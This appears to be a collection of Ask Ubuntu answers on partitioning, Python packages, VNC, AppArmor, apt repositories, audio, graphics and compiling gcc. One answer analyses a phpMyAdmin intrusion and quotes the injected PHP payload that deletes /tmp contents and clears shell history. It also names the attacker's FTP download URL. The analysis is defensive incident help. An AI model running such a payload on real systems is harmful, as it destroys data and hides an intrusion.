This isn't immune to being worked around. It's still running as the user (so they can terminate it) and they could butcher their X startup (because it's all run as the user). You probably could lock all that down but it's a big step.


For working with GPT disks, you need either something based on libparted (parted, GParted, etc.) or my GPT fdisk (gdisk, sgdisk, and cgdisk) tools. The latter come in the Ubuntu gdisk package, IIRC. Since you say you're familiar with cfdisk, I recommend you check out cgdisk, since the latter is modeled after the former, but for GPT disks.

Personally, I'd avoid the GNU fdisk package; it's an attempt to slap an fdisk-like user interface atop libparted, but the result is something that omits the functionality that makes fdisk worthwhile to begin with.

Edit (March, 2017):

The older fdisk and related tools (sfdisk and cfdisk) now support GPT, too. IIRC, Ubuntu 14.10 or 15.04 was the first version of Ubuntu to ship with the updated tools, so you should have those unless you're running an older distribution. The last I checked, my GPT fdisk provided more comprehensive support for GPT-specific features, but fdisk and its brethren should be fine for most day-to-day operations.


Python showing No module named 'pynput' even though installed

As you see in your screen output, pip install will install packages for Python version 2.x. However, you are probably using Python version 3.x. The pip man page specifies:

  On Debian, pip is the command to use when installing packages for
  Python 2, while pip3 is the command to use when installing packages for
  Python 3.

So, you should use:

pip3 install pynput

to install packages for Python version 3.x.

I hope Python 2.x will be removed completely from Ubuntu versions released in 2020 and forward. And such misunderstandings will be eliminated too!


In my case I got it work by using the lightdm auth file:

root@kbrandt-desktop:~# ps wwwwaux | grep auth
root      1815  0.3  1.2  69320 51980 tty7     Ss+  19:11   0:02 /usr/bin/X :0 -auth /var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch -background none
root      5870  0.0  0.0   4372   828 pts/0    S+   19:25   0:00 grep auth
root@kbrandt-desktop:~# x11vnc -forever -httpdir /usr/share/vnc-java -noxdamage -httpport 5900 -auth /var/run/lightdm/root/:0 -display :0


Welcome to Ask Ubuntu!

Make sure you are in the same directory in terminal as is your file hello.c. Type cd /path/to/your_folder/ in terminal to go to it.

Then, gcc hello.c -o helloout should compile it to the output file helloout. To execute the compiled code, type ./helloout.

Note: If I left the code file hello without the .c extension, gcc says

file not recognized: Unrecognized file format

Follows the example I tested (hello.c).

#include <stdio.h>

int main(){
    printf("Hello, World\n");
    return 0;
}


Move Indicator Notification panel to extreme right in XFCE desktop session

Right click on the panel and choose 'Panel' -> 'Panel Preferences'. Then go to 'Items' and add a seperator that you move with the arrows to the desired place. Close that window and do another right click now to the area where the seperator is located, enter the 'Properties' and choose 'Expand'.


How do I remove/disable the Chrome/Chromium notification-center system indicator?

Open the URL chrome://flags in the browser. Now disable these flags:

#enable-sync-synced-notifications
#enable-google-now
#device-discovery-notifications
#enable-experimental-notification-ui (Chrome/Chromium 34 only)

Click the restart button at the bottom of the site.


Which language is most completly translated, Russian or Polish?

If you go to https://translations.launchpad.net/ubuntu/trusty/+translations and click "View all languages", you'll find that Russian and Polish are currently quite similar with respect to completeness in 14.04.

I'd like to also mention the language priority list feature included in Ubuntu. It's possible to choose e.g. Russian as the first language and Polish as the fallback language. If you open Language Support and click the "Help" button, you can read more about it.


How well-supported is the Canon CanoScan LiDE110?

Am pretty sure that is a typo in the SANE list because for what i have seen, some of the scanners there like some Stylus, Scanjet and maybe others do not appear in the list updated as they should be. I have in the place i work several of them and they work 100% good but in the SANE page they do not mention this. Am guessing the page is old or when they did the update they forgot some of them. So the safest bet is your LiDE 110 will function perfectly.


In /etc/apparmor.d/usr.sbin.named

I changed

# some people like to put logs in /var/log/named/ instead of having
# syslog do the heavy lifting.
/var/log/named/** rw,
/var/log/named/ rw,

to

 # some people like to put logs in /var/log/named/ instead of having
 # syslog do the heavy lifting.
 /var/log/bind/** rw,
 /var/log/bind/ rw,

as that was the name of the directory I had specified logs to be written to.

Then

root@mail:/home/mike# service apparmor restart
root@mail:/home/mike# service bind9 restart
root@mail:/home/mike# service bind9 status

All good.


http://ftp.de.debian.org/debian/ sid main is a repository for the Debian OS, not Ubuntu. You should not be using this repository. Here's what you can do:

sudo cp /etc/apt/sources.list /etc/apt/sources.list.bk

This is to backup your sources.list file.

Open up /etc/apt/sources.list with your favorite editor, and delete everything, and repopulate it with the proper, default repositories. Here's how you'll get them:

Go here: http://repogen.simplylinux.ch/
Select your country and release.
Select everything in the "Ubuntu Branches" box.
Select everything in the "Ubuntu Updates" box except for the "Proposed" options.
Select everything in the "Ubuntu Partner Repos" box.
Select everything in the "Ubuntu Extras Repos" box.
Scroll down to the very bottom and hit Generate List.
Copy the output of the first box into your sources.list file and save it.

Run the following commands in order:

sudo apt-get clean
sudo apt-get update
sudo apt-get install -f
sudo dpkg -a --configure
sudo apt-get dist-upgrade

You'll probably get some errors along the way. apt-get install -f should try to fix most issues, but I suspect that it won't fix everything. dpkg will try to further configure the packages, although apt-get install -f should call it by default. The last command is to fully upgrade your system, including the linux kernel, which is what you're having problems with from the logs you posted. I suggest you, again, run these commands after everything is done:

sudo apt-get install -f
sudo dpkg -a --configure


The .mkv extension signifies just a container format.  If the audio is playing but no video, chances are you do not have the right decoder installed for the video part.  A couple of debugging tips:

In VLC, hit ctrl-i (tools -> media information).
What is listed under Codec?

An example I have is:

Video: Codec: H264 - MPEG-4 AVC (part 10) (avc1)
Audio: Codec: A52 Audio (aka AC3) (a52 )

This data is necessary to post to help you more, but you may be able to figure it out with this alone.  It should give you data about what you can search for next at least.  Since VLC is kind of self contained, you may have to move on if it's not playing it right off the bat...

So, another option is to try mplayer:

sudo apt install mplayer
mplayer <file>


I've had the same problem ever since I upgraded to version 13.04. I switched to the latest Mint version, and then did a clean reinstall of Lubuntu 13.04, but the problem remained, whereas 12.10 and previous versions used to run flawlessly. I found a discussion about that --- apparently not so new --- issue on this blog. I seem to be doing fine since I used the solution below (my network adapter is also a Broadcom):

Start of the quote:

  Carl Parkinson • 2 years ago

  Hi,

  I have been having problems with my Dell Studio 15 freezing intermittently when on battery for months. I have read many, many posts on this topic and tried many different tweaks to no avail. Reverting to an earlier version of pm_utils worked, but I lost the ability to put my laptop on standby, so that was no good. I decided it was time for me to do some analysis and try a few tweaks of my own. Well, it looks like I have come up with a successful work around that should work for any type of wireless card.

  I run Mint 10 and have the latest version of pm-utils installed - 1.4.1. tailing /var/log/pm-powersave.log reveals that /usr/lib/pm-utils/power.d/wireless is called to put the wireless card into powersave mode when the power cord is removed. I found the specific section of code that makes that change is at the end of the script:

case $1 in
    true) wireless_powersave on;;
    false) wireless_powersave off ;;
    *) exit $NA ;;
esac

  I simply changed it to:

case $1 in
    true) wireless_powersave off;;
    false) wireless_powersave off ;;
    *) exit $NA ;;
esac

  This results in the card never being put into powersave mode and has stopped the freezing. This change does not appear to affect the power consumption either. So, all is well and I have said goodbye a very frustrating problem. I hope it works for you too.

  FYI, my wireless card is a Broadcom Corporation BCM4312 802.11b/g LP-PHY (rev 01)

End of the quote


Nothing bad so far, but there is no way to know yet.

Looking at the suspicious system comment, the command it tries to get you to run appears to delete everything in /tmp, but nowhere else. Moreover, the site in suspicion has been taken down by the hosting provider, so now there should be little to worry about. Do note that MySQL connections over sockets and services will fail until the next reboot due to the deletion of files from /tmp but no data should have been lost(except your bash history).

I'd just informally tell a PHPMyAdmin developer, so if it is not a security flaw that can be misused, a bug deal isn't really made over it.

Bolded are the interesting bits of commands in the large injected code:

<? system("cd /tmp;rm -rf * ... history -c;");exit?>

Also looking through, there is a file, ftp://hawk1156:TuNPKPK123@hawkish.co.uk/2.txt that may have done something bad, but since I don't know what was in the file, and the hosting provider has taken the account down, there is no way to know what it does unless you manage to ext4undelete it to try to get a tally of the damage. *It may have done something bad.* If you do indeed unearth the file with an undelete utility, post it here and I'll gladly look at it.

Edit: Thanks to January's comment, which I haven't noticed, the most this attack appears to have done is to create an IRC bot. If there is still perl executing, and you do not have any critical services that run on PERL, then run:

sudo killall perl

or reboot.


In order to make the script running you will need to setup a cron job with it: How do I setup a cronjob ?

Now, inside your script, you will need to do something like this:

#!/bin/bash
#script that simply saves the output of df -h to an output file
#which is sent as an attachment to an e-mail

#a) save the output of the command:
temp_file=$(mktemp)

df -h > $temp_file 2> /dev/null

/root/email.py recipient@gmail.com "Title here" "Body here. The current date and time is $(date)" "$temp_file"

sleep 3
rm -rf $temp_file

As you can see, I'm calling a python script from within your root path (not readable but nobody else but root himself) which takes the following arguments:

"recipient-email" "title-of-email" "body-of-email" "attachment"

This python script is this:

#!/usr/bin/python
import os, re
import sys
import smtplib

from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.MIMEText import MIMEText

SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587

sender = 'youremailhere@gmail.com'
password = "yourpasswordhere"
recipient = sys.argv[1]
subject = ''
message = sys.argv[3]

def main():
    msg = MIMEMultipart()
    msg['Subject'] = sys.argv[2]
    msg['To'] = recipient
    msg['From'] = sender

    part = MIMEText('text', "plain")
    part.set_payload(message)
    msg.attach(part)

    session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)

    session.ehlo()
    session.starttls()
    session.ehlo

    session.login(sender, password)

    fp = open(sys.argv[4], 'rb')
    msgq = MIMEBase('audio', 'audio')
    msgq.set_payload(fp.read())
    fp.close()
    # Encode the payload using Base64
    filename=sys.argv[4]
    msgq.add_header('Content-Disposition', 'attachment', filename=filename)
    msg.attach(msgq)
    # Now send or store the message
    qwertyuiop = msg.as_string()

    session.sendmail(sender, recipient, qwertyuiop)

    session.quit()
    os.system('notify-send "Your disk space related email has been sent."')

if __name__ == '__main__':
    main()

Of course you will need to provide it with your gmail email and password at the top of the script (sender and password variables). If you install the libnotify-bin package, then, if the email was successfully sent, you will be notified with a desktop notification.

So, summing up, you will need to setup a cron job with the above bash script. This bash script will save the output of df -h inside a temporary file, which will be sent via a python script to a recipient email of your choice (as far as I remember, the sender email must be gmail).

PS: The above solution will show the free and total disk space only of your mounted filesystems. If this is a problem please inform me so as to extend my answer about how to automatically mount all the available filesystems and then run df -h.


How to enter SIM PIN with new network manager (Ubuntu 20.04.1)

I am able to add a connection with PIN with the following commands:
mmcli -i 0 –-pin '<PIN_HERE>'
sudo nmcli con add type gsm ifname <IF_HERE> con-name <NAME_HERE> apn '<APN_HERE>'
nmcli r wwan on

This works both in Debian 10 and Ubuntu 18.04. Worth trying on your version, too.
Take care to enter correctly the first command (mmcli).


Microphone doesn't work with Skype on an HP Pavilion dv5

Pulseaudio vs. greedy corporation

WARNING: This isn't a solution but a workaround to be able to communicate with friend & family until the ablility to use and spread Mumble. You have to sacrifice cool features because Pulseaudio must be removed, for example the volume applets in SysTray. My advice: Try this with a Ubuntu LiveCD first and see if you can live with that! I am just a noob trying to find a way...
It worked for me with Mint Maya Xfce and Ubuntu 12.04 Unity. I don't remember where i found this but it was something similar like this.

1) Open a Terminal and become Root

su -

2) Remove Pulseaudio

apt-get purge pulseaudio gstreamer0.10-pulseaudio

3) Install gstreamer for alsa (if it isn't already installed)

apt-get install gstreamer0.10-alsa

4) Choose "alsa" in all of the possible settings

gstreamer-properties

→ reboot (for safety's sake)

5) Check volume (F5 shows all channels → check mics! In doubt put all high)

alsamixer

6) Log in $kype and disable "automatic sound settings" by unticking the option

  Press $kype-icon after login (left bottom) → options  → audio devices

There you also can test if it is working for you. And don't forget to tell everybody that $kype is crap and it is merely a matter of time until we can live in peace with our superior Linux!


Unity 3D in 11.10 with VirtualBox in OS X?

A simple solution for this issue can be found on the forums: http://ubuntuforums.org/showthread.php?t=1862937

  In gnome-tweaks (advanced settings, you should install it, it is not there by default) , under Desktop, choose "have file manager handle the desktop" to "off". This apparently makes the invisible windows bug to disappear. The price (at least, the first one that comes to my mind) is that you do not have icons on the desktop anymore. But you can use nautilus, there is no need to install an alternative file manager. And dont have to do go through the "killall nautilus" routine every time you login.


Washed out primary screen colors Ubuntu 19.04

Another option is  to enable Coolbits in the nvidia control panel to check if there is any settings for the screen colours.

To enable coolbits you need to have a configuration for your nvidia card either in /etc/X11/xorg.conf or /etc/X11/xorg.conf.d/ or /usr/share/X11/xorg.conf.d/
If there is no file you could create a file called 10-nvidia.conf with the following content
`    Section "Module"
        Load "modesetting"
    EndSection

Section "Device"
    Identifier "nvidia"
    Driver "nvidia"
    BusID "PCI:1@0:0:0"
    Option "AllowEmptyInitialConfiguration"
    Option         "Coolbits" "28"
EndSection`

You could also try to install the latest drivers from the Graphics Drivers ppa here https://launchpad.net/~graphics-drivers/+archive/ubuntu/ppa


Can't remove Youtube icon from sound indicator

Yes, as Takkat said, remove the ['YouTubeyoutubecom.desktop'] from com.canonical.indicator.sound interested-media-players

Using some shell script:

#!/bin/sh

// Get current value
val=$(gsettings get com.canonical.indicator.sound interested-media-players)

// Remove youtube
new_val=$(echo $val | sed -e "s/YouTubeyoutubecom.desktop//g")

// Set to the new expected value
gsettings set com.canonical.indicator.sound interested-media-players $new_val
exit 0

Or simply using dconf-editor...


Libreoffice 7.0 not displaying icons Kubuntu

The solution is from this site.
Open LibreOffice, click on 'Tools' and then 'Options.' This will open a new window, where you'll click on 'View' under the 'LibreOffice' heading. Once there, click on 'Icon style' and select the icons you'd like to use.
It looks like:

Click 'Okay' and you should be all set.
Note: You may have different styles available and it's probably not black like mine is, as I use a system-wide theme.


Apache works with php7, but crashes with php5

Fixed by purging both apache and php. Only removing php was not sufficient. I'm not sure that this is the best way to do it, but it worked:

sudo service apache2 stop
sudo apt-get remove --purge apache2 apache2-utils apache2-bin php*
sudo apt-get autoremove

And this is what I used to reinstall everything: https://askubuntu.com/a/762161/411578


Install a helpful tool checkinstall

sudo apt-get install checkinstall

Download the source package here, e.g.

cd
wget ftp://ftp.fu-berlin.de/unix/languages/gcc/releases/gcc-5.2.0/gcc-5.2.0.tar.bz2

Extract the archive

tar xf gcc-5.2.0.tar.bz2

Install some development packages

sudo apt-get install libgmp-dev
sudo apt-get install libmpfr-dev
sudo apt-get install libmpc-dev

Go into the source folder

cd gcc-5.2.0

Configure, in my example a 64-bit-only compiler (--disable-multilib), for 32-bit and 64-bit support use --enable-multilib

./configure --disable-multilib

Start the compiler and drink a coffee or two ;) This step takes some time.

make

Install

sudo checkinstall

You could also use sudo make install, but with checkinstall you will have an installed deb package.